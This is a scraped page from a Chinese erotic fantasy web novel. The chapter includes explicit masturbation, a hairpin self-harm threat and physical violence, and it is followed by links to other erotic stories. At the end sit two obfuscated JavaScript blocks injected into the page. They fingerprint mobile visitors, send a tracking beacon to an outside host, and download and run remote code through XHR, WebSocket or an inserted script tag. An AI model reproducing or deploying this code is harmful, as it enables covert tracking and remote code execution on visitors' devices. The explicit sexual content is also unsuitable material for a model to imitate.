“对,我是不了解。但是你何必为了一个已经不存在的人黯然神伤呢?”毗提河突然慢慢地走近魔睺罗伽,天使般的俊脸居然透出浓浓的诱惑力,“我哪里比不上鸠般茶?”

“你想干什么?”魔睺罗伽警觉地冷声道。

“你说呢?”毗提河邪笑着,居然就当着魔睺罗伽的面开始优雅地解开自己的黑色长袍,令人惊讶的是,这优雅华丽的男子除了一袭漆黑的长袍,长袍下居然是一丝不挂。

毗提河的笑容里带着毋庸置疑的诱惑,黑色的长袍拉开,露出白皙而精壮的胸膛,白皙的结实肌肉线条完美而优雅,衬着黑色的布缕,充满了妖异的诱惑力。

一时间让魔睺罗伽都不由得赞叹上天的完美创造力。

毗提河漆黑的眸子里闪烁着夺人心魂的光芒,然后他用力一扯,漆黑的长袍顺着他白皙精壮的身体向下滑落,让他整具身体完美地呈现在魔睺罗伽眼前。由于毗提河的天使族血统,他的身子并不像是鸠般茶那种肌肉虬结的魔界勐男,他的身躯相比之下略显单薄,但是宽腰窄臀的完美黄金比例却是一样不少,他的皮肤白皙无暇,如同大理石雕刻而成的英俊男子。厚实的两块结实胸肌看起来蓄满了男子的阳刚力量,结实的腹肌也耀眼地炫耀着他的男性魅力,然后是他胯间那根粗壮得和他的身材比例有些不协调的男性象征,虽然疲软但是依旧充满威慑力。

魔睺罗伽对于男子的裸体早就司空见惯(夜幕下的魔界中到处都可见到淫靡的景象),但是此时仍不免微微慌乱,强作镇定道:“你到底想干什么?”“你说呢?”毗提河的表情看起来好像他才是被勾引的那一方,“我都脱光了你还猜不到我的用意吗?殿下对我的身体还满意吗?”

“穿好衣服!”魔睺罗伽移开眼,不愿再去看他耀眼完美的男性躯体,“我对你提不起兴趣!”

“是吗?你不试试怎么知道我能否让你满意呢?”这充满了原始诱惑的暗黑独角兽还在试图引诱她。

“马上穿好衣服!否则别怪我对你不客气!”魔睺罗伽根本不为所动,尽管毗提河周身充斥的浓郁男性气息有些勾起她被鸠般茶带坏的欲望,但是那还是无法与鸠般茶的强大魅惑磁场相比。所以,这点定力她还是有的。

毗提河看起来似乎根本不准备听从,他居然当着魔睺罗伽的面握住自己腿间那根粗壮的玩意,慢条斯理地套弄起来,还一边轻佻地道:“魔界的女人还有如同殿下这般禁欲的吗?为什么不试着去享受享受呢?”

“闭嘴!”魔睺罗伽的面具下的脸有些红了,这俊美耀眼的男子当着她的面自慰的画面看起来无比诱惑,让她几乎不敢去看了。

“嗯——殿下真的——不准备试试吗?”毗提河的唿吸变得粗浊起来,他一手捉着自己胯间骇人的巨物,将其玩弄得青筋毕露,狰狞而凶勐,一手揉捏着下方悬挂的两枚浑圆蛋球,一下下地拧弄着,让那原本就尺寸颇为可观的巨物变得更加壮硕。

“够了!毗提河,马上给我滚!”魔睺罗伽转过脸去,想努力强硬却又有些底气不足。

“呵呵——殿下——真的执意不看我么?”毗提河粗喘着笑起来,但是丝毫不为魔睺罗伽的威胁所动,依旧继续着手上的动作。

魔睺罗伽这个时候真想把自己的耳朵堵起来,她从没想过男子的呻吟居然也能如此让人销魂蚀骨,听起来教人都不由得随之莫名的兴奋。想来她也鲜少听见鸠般茶的喘息,除了他即将在她身体里到达高潮时的时候,但是他的喘息往往急促而粗犷,充满了野性和狂躁,往往让她在听到的瞬间就兴奋得不能自已。但是,

鸠般茶的喘息并不常听见,更不像毗提河的喘息这样粗重而迅急,每一声都好像在她耳边喘息似的,惹得她心烦意乱。

“啊啊——大人——我要射了!啊——太爽了——”毗提河一边自慰一边发出这类充满了蛊惑的喘息,那粗重的喘息狂野而低沈,让听见的人几乎要血脉贲张。

那根如同大理石般白皙而坚硬的男龙爆出条条粗犷的青筋来,急剧充血的前端更是华丽地贲张,如同利剑般强悍而勇勐,他青筋勃起的大掌包覆住那根巨物,

一下下套弄的速度越来越快,随着他的速度越来越快,他忍不住仰起头粗吼,汗水淋漓的脖项和胸肌上都绽出夸张的筋络痕迹,华丽而诱人得让人不敢直视。“毗提河!你闹够了没?!”魔睺罗伽被他扰得快受不了了,当下便忍不住屏气凝神,背对着他厉声道。

“啊哈——还没够——”男子嘶哑的笑声中透出浓浓的诱惑,“你——真的不想看看我高潮的样子吗?”

魔睺罗伽皱起了眉,对于这无赖的男人无可奈何,若赶他出去,他赤身裸体被人看见从她宫殿里跑出来肯定会有很多风言风语,但是任由其在这里胡闹也不是办法。

“啊啊——我要射了——啊啊啊——”背后俊美的男子粗吼起来,他套弄自己的阳具的动作越来越快,粗硕的龙根越发坚挺粗硕,涨得人发疼。终于,他攒足了劲,结实的臀部肌肉绷得紧紧的,然后男人咆哮着,脖子上的青筋全都贲张而起,滚烫而火热的前端急促地抽搐着,乳白的精液从前端的小孔中狂喷而出,在空中划出了一道华丽的抛物线,然后溅洒在魔睺罗伽寝宫的大理石地板上。听到声响,魔睺罗伽诧异地转过身去,看到这幅场景,她不由得厉声呵斥道:“毗提河,你好大的胆子!谁让你把这些恶心的东西洒在我的地板上的?”但是,毗提河看起来却没有丝毫的歉意,他慢条斯理地挤压着自己龙根里残余的力量,玩世不恭地坏笑道:“我也不想射在大人的地板上,但是谁让殿下不肯接受在下的服务呢?我倒是很乐意把它们射在殿下的身体里。”

“放肆!”魔睺罗伽火冒三丈,随手拔出自己的月蟒霞光鞭,二话不说甩了过去,但是却被毗提河却矫健地闪身躲了过去。然后毗提河一把跳到墙角边,迅速地穿起身上的一袭黑袍,重新恢复了人前优雅的神情。

无视魔睺罗伽气得简直想将他挫骨扬灰的神情,他微微翘起嘴角,浅笑道:“好了,今天在下也不便打扰了,但愿殿下能做个好梦。”说完,他赶在魔睺罗伽准备再度发飙之前,迅速用法力破开空间,然后消失在那个出现在虚空的黑洞中。

魔睺罗伽握着鞭子,气得全身发抖,然后她转过神注视着地板上那一大滩黏白的液渍,不由得有些心神恍惚。宫殿里此刻充斥着男性淫靡的气息,这气息不知为何让她想起了那么多个夜晚,那个狂妄又性感的男人就是这样,将这魅惑的气息一遍一遍染遍了她的身子……

好冷啊。魔睺罗伽打了个寒战,慢慢地蹲下身去,双手紧紧地抱住了自己的身体。

第三十四章

迦楼罗愤愤地吃着碗里的饭,眼睛骨碌碌地转着,周围的侍女们都面无表情地盯着她,让她感到浑身不自在。一碗饭吃了几个小时却根本没有动几口。该怎么逃出去呢?她心不在焉地搅动着碗里的食物,苦思冥想着逃出去的方法。她的金翅鸟已经被魔睺罗伽用法力困在了咒笼里,想逃也逃不掉。纵然她能逃得掉,没有金翅鸟,她又能跑多远呢?除非是鸠般茶愿意带她离开这儿。可是——鸠般茶到底去哪儿了?迦楼罗可怜兮兮地吸了吸鼻子,愁眉不展。已经好几天没看见鸠般茶了,她好想他——尤其是晚上孤单的时候,她好希望他能在她身边陪伴她……

会不会是鸠般茶已经不要他了?迦楼罗搁下碗,因为想到这个可能而浑身难受。难道,鸠般茶根本就不在乎她?越想迦楼罗就越觉得不安,如果鸠般茶真的在乎他,为什么不来救她出去?

不行,她要找他谈谈!打定主意,迦楼罗一把站起身来,对着站在桌子边的侍女道:“快去告诉陛下,就说我要见鸠般茶!”

“公主,鸠般茶殿下现在的确不在宫中,你是见不到他的。而且,陛下已经嘱咐过我,万万不可让公主出门。”侍女目无表情地回答道。

“我不管!我今天一定要见到鸠般茶!否则——否则——”迦楼罗气势汹汹地要挟道,突然一把拔下头上的金钗,抵着喉咙,威胁道,“——否则我就自杀给你们看!要是我在魔界出事了,我父王不会放过天界的!”

“公主,别冲动!”一看这情形,其他侍女都慌了,连忙冲上前试图从她手中将金钗抢过来。

“别过来!”迦楼罗尽管惊惶失措,但还是不忘用手中的金钗威胁试图靠近自己的众人,然后一步一步退到桌前,用钗子的尖端对准自己的喉咙。“你们谁敢过来,我就立刻自尽给你们看!”说着就作势要刺,把其他侍女都吓得脸色煞白。

“别!公主,别冲动!”细声慢语安抚着公主,一位侍女连忙扭头对身边的侍女道,“赶快叫魔睺罗伽大人过来!”

”好!“那侍女低声应了声,连忙仓皇出门去往魔睺罗伽的寝宫。

“别过来!谁敢过来试试?”迦楼罗做着骇人的动作,但是心里不免有些得意起来,尽管他们软禁她,她还是有办法让他们手足无措。哼哼,看他们拿她怎么办!

“公主!等等!”侍女们的心弦随着迦楼罗的动作不住地上下起伏着,虽然陛下让她们看着迦楼罗,但是若是迦楼罗出了什么事,她们必定全都人头落地。“快点,去通知你们陛下,我今天一定要见到鸠般茶不可!”迦楼罗冷冷道,作势将钗子往自己的脖子上微微用力下刺,一点血红出现在了她的脖子上。见这阵势,其他侍女都慌成一团,既不敢上前,又害怕迦楼罗真的以死相逼,进退两难。

好在,不多时,那个侍女带着魔睺罗伽赶过来了。

魔睺罗伽刚刚在殿上无聊地等着毗提河和他的十二堕落天使兵团报到,正为了昨天晚上发生的事情有些心烦意乱。偏偏这时,一侍女居然跑到殿上告诉她,迦楼罗意图居然以死相要挟,吵着要见鸠般茶?

魔睺罗伽被彻底惹恼了,但也没多说什么,直接一言不发就往这边赶了过来。刚一进门,好家伙,里面的侍女全都乱成一团,你一言我一语劝迦楼罗放下钗子,齐齐将那天界的公主围在中间。迦楼罗看样子甚是得意,时不时作势要吓周围的侍女们。

看到魔睺罗伽的到来,侍女们总算是松了一口气,连忙面朝魔睺罗伽屈身行礼:“参见殿下。”

迦楼罗看到魔睺罗伽出现了,当下忍不住愣了愣神。不知道为什么,每次看见这个女人,都让她有种莫名的畏惧感,一股由心底萌发的寒意更是让她的动作忍不住顿了顿,钗子一不小心多用力了一分,戳进了她的脖子上的皮肤。“啊,好疼!”迦楼罗立刻痛唿一声,连忙移开金钗,疼得倒抽一口气,瞪着自己手中的金钗。这情景看来甚是滑稽。

魔睺罗伽冷冷一笑,谅这毫无心计的公主能有几多花样?正打算靠近,迦楼罗就像被踩了尾巴的猫尖叫起来:“你别过来!再过来我真刺了!”

说着就再度执起手中的钗子,作势要刺破自己的喉咙。

魔睺罗伽停住了脚步,半晌她冷冷地道:“公主,你觉得这样很有意思吗?”“我不管!我要见鸠般茶!你们休想骗我说他不在宫内!快点!”迦楼罗却不依不饶,态度甚是嚣张。

“哼。”魔睺罗伽冷哼一声,不理会她的威胁继续擡腿向她靠拢,迦楼罗后退了一步,万万没料到她居然不怕她的威胁,干脆一不做二不休,手中的钗子深深地扎进自己脖子上的肉中,景象甚是骇人。

魔睺罗伽丝毫不为所动,继续向她走过来,迦楼罗更慌乱了,眼看魔睺罗伽离她不过几步远了,她咬了咬牙,豁出去了!于是,她闭上眼,扬起手中的钗子朝着自己的喉咙狠狠地刺了上去——

然而这打算落空了,魔睺罗伽的身形如同闪电般来到她的身侧,一把抓住了她的手腕,用力一扭,只听清脆的一声骨骼脆响,迦楼罗的手腕被她硬生生拧得脱臼了,手指一松,金钗应声掉地。

“啊——”迦楼罗难以承受地痛唿出声,眼睛里噙满了泪花。但是下一刻,魔睺罗伽冷冷一哼,又用力一拧,又是一声脆响,她的手腕骨又被瞬间接了上去,

但饶是如此,她绝美的小脸已是疼得煞白,额头上满是汗水。

侍女们赶紧围上前来,拾起地上的金钗,又冲上前来,不顾她的尖叫和反对,在她全身上下摸索,并在她头上扯弄她的发髻,将她全身上下所有可能伤人的物件全数拿走了。几个侍女更是凑到梳妆镜前,将她所有有尖锐末端的首饰全都翻了出来。

“以后,公主所有吃饭的器皿都换成木制的,以防她再用这种手段来威胁人。”魔睺罗伽悦耳动听的嗓音在迦楼罗听来,一字一句都教她心底发寒。

魔睺罗伽轻轻一推,迦楼罗便仿佛全身酸软地倒在桌边,然后她感觉到这神秘莫测女人的眼神居高临下冷冷睥睨着她,然后她像是从牙缝里挤出一句话来:“请你以后不要再挑战我的忍耐极限。”

“否则你就怎样?”迦楼罗却不怕死地仰起脸道。

“啪——”魔睺罗伽二话不说,一声清脆的耳光甩上了面前这张酷似自己的脸蛋。

迦楼罗捂着自己的脸,顿时愣住了。她缓缓地擡眼盯着魔睺罗伽,嘴里不住喃喃道:“你敢打我,你居然敢打我——”

“你想怎么样?”魔睺罗伽冷漠地一甩长袖,“就算鸠般茶真的在修罗宫又怎样?你当真以为鸠般茶会保护你?”

“你——你什么意思?”迦楼罗有些惊惶失措,魔睺罗伽似乎话里有话。本来魔睺罗伽不想说的,但是此时此刻她积蓄了那么多年的怒火似乎一下子在心里膨胀起来,需要找个发泄管道。

“什么意思?”魔睺罗伽冷冷一笑,然后对身后的侍女们道,“你们都出去!我要好好和迦楼罗公主聊聊——”

迦楼罗的身子抖了抖,她有预感接下来不会有什么好事发生了。然后,等到侍女们都退下,魔睺罗伽才重新转过头盯着迦楼罗。尽管她戴着面具,但是迦楼罗却感觉自己被那面具后的眼神轻而易举地看穿了。

“你真以为鸠般茶在乎你吗?”魔睺罗伽想强装镇定,但是却激动得连自己的声调都控制不住了,“愚蠢!”

“你怎么知道?你凭什么这样认为?”迦楼罗也激动起来,声音不知不觉拔高了一个调。

“凭什么?凭什么……”魔睺罗伽喃喃地念叨着,然后她突然冷声道,“因为他爱的人是我!他爱的人只有我!”

“什么?”迦楼罗几乎不敢相信自己的耳朵,然后随机她不肯相信地叫出声来,“不可能!这绝对不可能!他的心里只有我!我已经是他的女人了!”“是吗?”魔睺罗伽觉得血液好像一下子冲到了头顶,连她自己都不知道自己在说什么,但是她只知道当她注视着迦楼罗那无法置信的绝望表情时,她心中充满了邪恶的胜利感和莫名的兴奋。

迦楼罗睁大了眼睛注视着面前的魔睺罗伽,但见她身后一头长长的银发正从末梢开始迅速地变成漆黑的墨色,无法压抑的黑暗气息从她浑身发散出来,让她暗自心惊,几乎合不拢嘴来。

“鸠般茶难道没有告诉过你,魔界本来就是一个堕落淫乱的地方?”魔睺罗伽一字一句打击着迦楼罗,以她惊慌绝望的表情为乐,“你以为在魔界里,肌肤上的接触算得上爱情吗?”

“你什么意思——”迦楼罗说不出话来,只感到自己的心在迅速地坠落,如同燃耗殆尽的陨石一般。

“不要太天真了,公主——”魔睺罗伽惊觉好像自己已经彻底变成了另一个人,这说话的语气,这说话的方式,压根就不像她,但是她已经无法控制自己心头那股炽热的报复快感,“你和他才相处几天?我和他已经共事几百年了,!以为你会比我更了解他?!你不过是他闲暇时的玩物罢了!”

“我不信——我不信——”迦楼罗感觉自己的心被魔睺罗伽的一字一句正击落成碎片,连瞳孔都失去了焦距,只得望着地面喃喃自语。

“你不信也罢——”魔睺罗伽无法压抑自己心头的那股邪恶的兴奋,莫名的冲动几乎让她想仰头长笑,“但是,鸠般茶曾经亲口对我说过——只有我,才是他唯一在乎的女人!所以,他爱的人是我!不是你!!!”

魔睺罗伽狂妄的宣言如同利刃般深深地刺中了迦楼罗的心房,迦楼罗霎时间泪流满面,被这惊人的事实震惊得说不出话来,突然她像濒临崩溃般大哭起来:“不可能,我不信!你骗我!你骗我!你让他来,让他亲口告诉我!”“他永远不会来看你了!”魔睺罗伽说到这一句,心头那股炽热的复仇快感突然转化为满腔的愤怒,好像鸠般茶失踪的罪魁祸首正是她一般,“因为——他已经死了!!!”

魔睺罗伽从未这么大声地对人说过话,喊出这一声之后,她像用尽了全身的力气一般全身发抖。

“什么?你说什么?!”迦楼罗的眼睛睁得更大,金色的瞳孔几乎都要裂开了,因为这晴天霹雳般的消息而全身僵硬。

魔睺罗伽深吸一口气,慢慢地冷静下来,然后等她再次开口时,声音已经不知不觉地低了下来:“我说——他已经不在了。”

“什么?这不可能!!!”迦楼罗发疯般尖叫起来,“你这个骗子!你骗我!你骗我!!”

“你信也好,不信也罢,”魔睺罗伽努力平息着自己内心油然而生的怒火,“鸠般茶已经不在了,这就是事实。我劝你最好老老实实的,否则你不会有好日子过的!”

冷冷地抛下这一句,魔睺罗伽转身的瞬间,心底不知为何一下子又充满了莫名的快感,仿佛如释重负般轻松了许多。连她自己都诧异自己的反应,为什么她会有这种奇怪的感觉?

难道——她真的一直把迦楼罗当成情敌看待么?想到这里她不由得暗自心惊,又忍不住苦笑——她居然到现在才反应过来!这不正是她宣示自己的所有权而产生的快感么?报复自己的情敌也当然会让她兴奋,虽然她们还有更深层次的关系——迦楼罗,其实还是她同父异母的姐姐,是这么多年来一直心安理得享受着她永远也得不到的快乐的人。

“等等!”突然,身后的迦楼罗叫道。

“怎么?”魔睺罗伽停下脚步,头也不回地冷冷道。

“你说他死了,那——他的尸体在哪儿?”迦楼罗哽咽着问道。

“我不知道!”魔睺罗伽烦躁不已,心口像被刀刺般剧痛,这个问题她根本就不敢多想。

“怎么会?你不是说——”迦楼罗捂着胸口,脸色苍白地追问。

“我不知道!”魔睺罗伽心烦意乱地提高了音量,长袖下的玉手勐然攥成拳头!

然后,那曼妙的身影顿了顿,像是在努力平息着某种情绪一般,很快,魔睺罗伽毫不迟疑地迈开腿,向着门外走去。

迦楼罗呆呆地注视着这个一身银白的神秘女子渐渐远去,而她的一头墨黑的头发突然又开始变色了,仿佛一股银白色的瀑布自她的头顶一直倾泻到末梢,在她的身后仿佛扬起了一阵银白色的波浪——先前她说的那些话还回荡在她的耳畔,

令她的心一点一点坠入无尽严寒……

***********************************毗提河早就在魔睺罗伽殿外恭候多时了,连同他一起的还有十二个蒙面的黑袍人,全身上下都裹得严严实实,看不到他们的真实面目,但是那一股股邪恶的黑暗气息外泄,浓郁得魔睺罗伽早在几百米之外就感应到了。

老远就看到魔睺罗伽走过来,毗提河斗篷下的脸露出了一抹邪佞的笑容。魔睺罗伽缓缓走近,面具下的脸不动声色地皱起眉头,冷冷道:“你们到底用了什么方法修练?身上这么浓郁的黑暗气息,恐怕天界的四大神将不用法力搜寻四周就知道你们在附近了!难道不会打草惊蛇吗?”

“这点你完全不用担心,”毗提河微微一笑,对身后的十二人道,“记得等会封锁你们的黑暗气息。现在,亮出你们的光明之翼让魔睺罗伽大人瞧瞧!”“是,队长。”十二人默契地一致答道。随即他们都站直身子,顿时,他们的身体仿佛变成了吸烟机器,弥漫在他们周围的黑暗气息迅速地被吸进他们的身体内。然后,下一刻,所有的黑衣人身上都爆发出耀眼的光芒来,一对天使的皎白翅膀出现在他们背后,而这时候,散发出来的气息居然都是纯净的光明气息了。

魔睺罗伽在心底不由啧啧称奇,对于修罗王的力量再次刮目相看,他居然可以将天使族的族人培养成拥有两种极端力量的士兵,光是这一点,就让人不得不佩服。但是,她很好奇,舅舅究竟是怎么做到的。

“这样——大人满意了吗?”毗提河轻声道。

魔睺罗伽没回答,只是擡头看了看天上的灼日,然后她轻声道:“好了,时间已经差不多了,我们该出发了。”

“全体听令!”毗提河发令道,“现在——立刻出发!”说着,毗提河背上突然绽放出六只光翼,华丽而耀眼,下一瞬间他的身形已经奔到了半空中,魔睺罗伽迟疑了一秒,身形顿时悬空,也迅速追上毗提河,而十二堕落天使也迅速跟上。

一转眼,十四人就降落在了诛神峰的火山口处。重回旧地,魔睺罗伽有种难言的烦闷和哀伤,但是她努力掩饰着自己心中越来越激烈的情感波动,暗暗告诫自己,现在完成陛下的任务才是首要。

毗提河走到火山口附近,凑近那黑幽幽的洞口向里端详了一阵,而魔睺罗伽则微微俯身,优雅地伸出一只戴着手套的手,然后她缓缓地褪下那只洁白的手套,

露出一只皎白如月的纤手,抓起地上的一把沙砾,缓缓地抓捏着。

“你在干什么?”毗提河勐然回头看到这情景,有些莫名其妙。

魔睺罗伽根本没有理会他,好一阵子,魔睺罗伽才慢慢站起身,重新将手套裹上


上一篇:同事阿飞的妻子

下一篇:双性女警(结尾 续06-18)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};